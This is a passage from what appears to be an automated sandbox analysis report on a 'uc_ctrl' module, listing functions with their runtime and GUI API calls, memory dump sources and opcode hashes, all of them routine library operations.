??4?$_Yarn@_W@std@@QAEAAV01@PB_W@Z.MSVCP140(00000000), ref: 6C931794

Part of subcall function 6C934AD0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,6C931799,00000000), ref: 6C934AE5
Part of subcall function 6C934AD0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,?,?,6C931799,00000000), ref: 6C934B0A
Part of subcall function 6C934AD0: memcpy.VCRUNTIME140(00000000,?,?,00000000,?,?,6C931799,00000000), ref: 6C934B1A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6C93179A

Strings

:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 6C9317B3

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$??4?$_GetdaysV01@W@std@@Yarn@_mallocmemcpy
String ID: :Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 2470877096-3283725177
Opcode ID: 72247e98515de29cd0d659fcb37ea7e37fc255f031c656b3d51aa4c36e65ec86
Instruction ID: c01df6dc24b6c45f9b0c60b062a06a2916f4a6c1eb6cc3b47713b909e24c28c5
Opcode Fuzzy Hash: 72247e98515de29cd0d659fcb37ea7e37fc255f031c656b3d51aa4c36e65ec86
Instruction Fuzzy Hash: D3E0D83520562087C3308A19E44878677FC9B83E18764162DE44BC3E14DB70D488C690

Function 6C9317C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_W_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6C9317C4
??4?$_Yarn@_W@std@@QAEAAV01@PB_W@Z.MSVCP140(00000000), ref: 6C9317D4

Part of subcall function 6C934AD0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,6C931799,00000000), ref: 6C934AE5
Part of subcall function 6C934AD0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,?,?,6C931799,00000000), ref: 6C934B0A
Part of subcall function 6C934AD0: memcpy.VCRUNTIME140(00000000,?,?,00000000,?,?,6C931799,00000000), ref: 6C934B1A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6C9317DA

Strings

:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece, xrefs: 6C9317F3

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$??4?$_GetmonthsV01@W@std@@Yarn@_mallocmemcpy
String ID: :Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece
API String ID: 2244164278-2030377133
Opcode ID: b61525cf16c94d082544c01b40939ff28c1fc99967faca5c155d68925edd7a09
Instruction ID: e161a92f2b6e7e6b7a46ba0ab3357f7e4d5368f215e1506db891740ddd963426
Opcode Fuzzy Hash: b61525cf16c94d082544c01b40939ff28c1fc99967faca5c155d68925edd7a09
Instruction Fuzzy Hash: F0E048352056208BC320DA29E448797B7FCEB83A15725562DE45BD3954DB30D44ACA50

Function 00777790 Relevance: 6.5, APIs: 5, Instructions: 212COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,001F419E,001F419E,001F419D), ref: 007777ED
isalnum.API-MS-WIN-CRT-STRING-L1-1-0(00000000,001F419D), ref: 00777818
memchr.VCRUNTIME140(00781000,?,00000040,?,?,?,?,?,?,001F419D,?,?), ref: 00777871
memchr.VCRUNTIME140(00781000,?,00000040,001F419D), ref: 00777941
memcpy.VCRUNTIME140(?,001F419D,-00000001,001F419D), ref: 007779AA

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: memchr$isalnummemcpymemset
String ID:
API String ID: 2613388124-0
Opcode ID: b4d6cc5d6e6c7de92f625c81b6237f226a2727164ade44527fc701c00aff6be0
Instruction ID: 2fef6897285c4a578563c1f61a89ad32c87a1c0b27697d60d076e528848c1329
Opcode Fuzzy Hash: b4d6cc5d6e6c7de92f625c81b6237f226a2727164ade44527fc701c00aff6be0
Instruction Fuzzy Hash: 28714871D092859FDF158F68C8887FFBBA8EF16390F458568D95897343C23C9906CBA1

Function 007732D0 Relevance: 6.4, APIs: 4, Instructions: 397COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000064,?,?,?,?,00000020,00000000,00000000,?,001F419D,?,?), ref: 0077348F
memset.VCRUNTIME140(?,00000000,00000040,?,00000000,00000064,?,?,?,?,00000020,00000000,00000000,?,001F419D), ref: 007734A9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,?,00000020,00000000,00000000,?,001F419D,?,?), ref: 007736C2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000020,00000000,00000000,?,001F419D,?,?), ref: 007737A8

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnmemset
String ID:
API String ID: 1654775311-0
Opcode ID: 23a163d809bc80e81081509f57573007f4e747b18f91a12a95cd504674cdc4ec
Instruction ID: 38b8cb05a5cef596b9a9b75c7aee9e53242c89bbb944673ead076eeb055d64b2
Opcode Fuzzy Hash: 23a163d809bc80e81081509f57573007f4e747b18f91a12a95cd504674cdc4ec
Instruction Fuzzy Hash: C9F1BC70A00258DFCF24DF68C888B9DB7B1BF45350F50C298D449AB381DB78AA85DF91

Function 6C943CD0 Relevance: 6.2, APIs: 4, Instructions: 164COMMON

Download Yara Rule

APIs

_Stolx.MSVCP140(?,?,0000000A,?,?,?,00000000), ref: 6C943E2E

Part of subcall function 6C948AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6C94A40A,?,?,?,?,?,6C93F3F7,00000014), ref: 6C948B07

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?sgetc@?$basic_streambuf@_StolxU?$char_traits@_W@std@@@std@@
String ID:
API String ID: 1082460496-0
Opcode ID: cebe57cd31bde413d1f8cc9182070e087c32b36bf0e26783753da1d68f8b438d
Instruction ID: c22e1995e8643cd5dd03a025369e9dda532b1d4d5ffc807bc67b81e079affbb4
Opcode Fuzzy Hash: cebe57cd31bde413d1f8cc9182070e087c32b36bf0e26783753da1d68f8b438d
Instruction Fuzzy Hash: 9C51A275E062589FCF00CBB9C490AEEB7BABF69708F148159D841A7B41CB71ED05C7A1

Function 6C92C550 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_FDtest.MSVCP140(?), ref: 6C92C558
_FExp.MSVCP140(?,?,000000FF), ref: 6C92C628
_FExp.MSVCP140(?,?,000000FF), ref: 6C92C64B
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92C65E

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Dtest_errno
String ID:
API String ID: 3263362069-0
Opcode ID: 47b5b833f715dac59966947184ad24f425be21147641117c5acd8d16c18349bd
Instruction ID: ab985c3ac90a2647ae9eef20177078a885b326eb781edf15a3573894d534f16e
Opcode Fuzzy Hash: 47b5b833f715dac59966947184ad24f425be21147641117c5acd8d16c18349bd
Instruction Fuzzy Hash: 38414CB1A1510AFBDF026E54D648BC83F78FB02394F324680D9D5B1A9CE639CB649EC4

Function 6C6E89F1 Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 6C6E8AC6
SetRectEmpty.USER32(?), ref: 6C6E8AD3
SetRectEmpty.USER32(?), ref: 6C6E8B90
SetRectEmpty.USER32 ref: 6C6E8BEF

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: EmptyRect
String ID:
API String ID: 2270935405-0
Opcode ID: 9d5cac736288f08108889294115b11addd5916913636f2ba4cec8de124078e00
Instruction ID: e0453aaf5d181223f5eff137d9339ad52a46dadd0d3f8c6f73a7d0d443dce671
Opcode Fuzzy Hash: 9d5cac736288f08108889294115b11addd5916913636f2ba4cec8de124078e00
Instruction Fuzzy Hash: 3751D8B09212268FCB609F2984C46E53BE8BB0DB54F1841BBED0CCFA5AD7B05145DFA5

Function 6C92D8D0 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

_Dtest.MSVCP140(?), ref: 6C92D8DC

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Dtest
String ID:
API String ID: 2456463492-0
Opcode ID: ddac8bf3193b20aec65b859923329161a8ca93284d6b9a6424d87d8dc9cb1fd3
Instruction ID: 9fcd462f502fcc962850cc4a88c07e3f47e7b11fc8c2fa8b22ad3b5c6c2dac81
Opcode Fuzzy Hash: ddac8bf3193b20aec65b859923329161a8ca93284d6b9a6424d87d8dc9cb1fd3
Instruction Fuzzy Hash: 6931E4E7D2A50AA2CF022E14D6087C53A78EF067A1F214B84E9D5A1BDCEE39C554DAC4

Function 6C688EBC Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68D632: GetWindowLongW.USER32(?,000000F0), ref: 6C68D63F

GetClientRect.USER32(?,?), ref: 6C688F2B
IsMenu.USER32(?), ref: 6C688F67
AdjustWindowRectEx.USER32(?,00000000,00000000), ref: 6C688F7A
GetClientRect.USER32(?,?), ref: 6C688FC7

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Rect$ClientWindow$AdjustLongMenu
String ID:
API String ID: 3435883281-0
Opcode ID: db20c9146115cd6587d19998769b5ec6541691d37753a7201c639b6aaf2bec32
Instruction ID: 589884119f95500da576d5a60eeecbf6dc5df8af3f583c0d9aa8342641635b86
Opcode Fuzzy Hash: db20c9146115cd6587d19998769b5ec6541691d37753a7201c639b6aaf2bec32
Instruction Fuzzy Hash: 2B316172E01219AFDB11DFA9C944DBFBBB9EF49354F10416AE805A7710DB309E04CBA9

Function 6C6A4A78 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 6C6A4AF8
RedrawWindow.USER32(?,?,00000000,00000105), ref: 6C6A4B0D
IsRectEmpty.USER32(?), ref: 6C6A4B5F
RedrawWindow.USER32(?,?,00000000,00000105), ref: 6C6A4B8A

Part of subcall function 6C6A4BA3: RedrawWindow.USER32(00000000,?,00000000,00000105), ref: 6C6A4C16

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: RedrawWindow$EmptyRect
String ID:
API String ID: 138230908-0
Opcode ID: 0e2bb34725fefb9193d174e122c5b2e071b1ded45c155353d9007cbf2cbf54c0
Instruction ID: 5215b404fa8e466e7888311e2c15a36fab96421a3daaf7201ff63e40b54bd2eb
Opcode Fuzzy Hash: 0e2bb34725fefb9193d174e122c5b2e071b1ded45c155353d9007cbf2cbf54c0
Instruction Fuzzy Hash: CD315E32A015149BCB05DF90CC84BFE77B9EF49315F141169ED05AF240DBB1AE46CBA8

Function 6C7CA95C Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,9F418D08,6C7C1EAD,00000000,00000000,6C6F97B2,00000000,?,00000000,00000001,6C7C1EAD,9F418D08,00000001,6C6F97B2,6C6F97B2), ref: 6C7CA9A9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6C7CAA32
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6C7CAA44
__freea.LIBCMT ref: 6C7CAA4D

Part of subcall function 6C7C3481: RtlAllocateHeap.NTDLL(00000000,?,?,?,6C67A014,?,00000001,?,?,6C660D34,?), ref: 6C7C34B3

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 9ecb89c0fde6a38f38d0c0364daa7fea5907f5f4c21b642b049ff6049e6f9041
Instruction ID: db60117f98fc5c87cef27bdc2a12a68c37f3cbcebdc886d1e66f9f8d50784cae
Opcode Fuzzy Hash: 9ecb89c0fde6a38f38d0c0364daa7fea5907f5f4c21b642b049ff6049e6f9041
Instruction Fuzzy Hash: 0F31AD72A0120AAFDF158F64CE48EEE7BB5EB44725B104178FC18DB650EB35C954CBA1

Function 6C69ABAF Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 6C69ABD8
GetClientRect.USER32(?,?), ref: 6C69AC1F
GetWindowRect.USER32(?,?), ref: 6C69AC65
GetSystemMetrics.USER32(00000007), ref: 6C69AC79

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Rect$ClientMetricsParentSystemWindow
String ID:
API String ID: 2120119201-0
Opcode ID: b3bbbb26194c83764e12fdbc7062944e246370dc170fde37370739971774f706
Instruction ID: 6c8e3badc513045a498591d959311e66f5f77994bcad616f1854005e16983d6a
Opcode Fuzzy Hash: b3bbbb26194c83764e12fdbc7062944e246370dc170fde37370739971774f706
Instruction Fuzzy Hash: EF31C7B1D012099FCF41DFA8D9849EEBBF5FF09314B10456AE915FB211EB71A904CB68

Function 6C69EF83 Relevance: 6.1, APIs: 4, Instructions: 76windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C69EF8A
GetSystemPaletteEntries.GDI32(?,00000000,00000100,00000004), ref: 6C69F000
CreatePalette.GDI32(00000000), ref: 6C69F04D

Part of subcall function 6C69E71C: GetObjectW.GDI32(?,00000002,?), ref: 6C69E729

GetPaletteEntries.GDI32(00000000,00000000,00000000,00000004), ref: 6C69F034

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Palette$Entries$CreateH_prolog3ObjectSystem
String ID:
API String ID: 374951733-0
Opcode ID: 580215c49fc0b560a8f61f6d6b7f67df316e7136052a34b27ea1a9df3a7c3f33
Instruction ID: 4d3baf585dbd930b8c315bc6d019ad4fb23cfc3b4508ec020e87913fe8406830
Opcode Fuzzy Hash: 580215c49fc0b560a8f61f6d6b7f67df316e7136052a34b27ea1a9df3a7c3f33
Instruction Fuzzy Hash: BF21A4326002019BEB15DF64C959BEE77B5FF09318F148469E5069B790EF70ED08CBA9

Function 6C68AB38 Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000001F,00000000,00000000), ref: 6C68AB70
SendMessageW.USER32(?,0000001F,00000000,00000000), ref: 6C68AB9A
GetCapture.USER32 ref: 6C68ABB0
SendMessageW.USER32(00000000,0000001F,00000000,00000000), ref: 6C68ABBF

Part of subcall function 6C67FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBB9

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$CaptureException@8Throw
String ID:
API String ID: 1331319163-0
Opcode ID: c4f8360cbe6cf5a9dfbbe68cab9695a32e2b24609ee50d9a7abf90e64f2bfe0a
Instruction ID: 6c95fc9d83866999a153028dc7dd9ec45e9a84cd46d8b55d5e69b489479ec6d0
Opcode Fuzzy Hash: c4f8360cbe6cf5a9dfbbe68cab9695a32e2b24609ee50d9a7abf90e64f2bfe0a
Instruction Fuzzy Hash: 6D1154723016097FEE111B608C89FBA766FFF49B98F040074F6145BBA1DB619C119778

Function 6C9376F5 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

_wfsopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,6C937641,?), ref: 6C937755
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C937763
_wfsopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,6C937641,?), ref: 6C937777
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000002), ref: 6C93778F

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: _wfsopen$fclosefseek
String ID:
API String ID: 1261181034-0
Opcode ID: 803f293324acd5c4180a30982c35d13575ff3aff76b485eaf6f4c2c1e5acd278
Instruction ID: 90bc4c149c6df7fdd8ab13b44c6480c3278d639fa3ef3c6df863d47a34855e85
Opcode Fuzzy Hash: 803f293324acd5c4180a30982c35d13575ff3aff76b485eaf6f4c2c1e5acd278
Instruction Fuzzy Hash: 61115C31717231E7FF0005658E497A636AE9F43F68F342020ED9FC1655DB29C401C390

Function 6C937644 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

_fsopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,6C937621,?,?,?,6C937524,?,00000003,00000010,?), ref: 6C9376A4
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9376B2
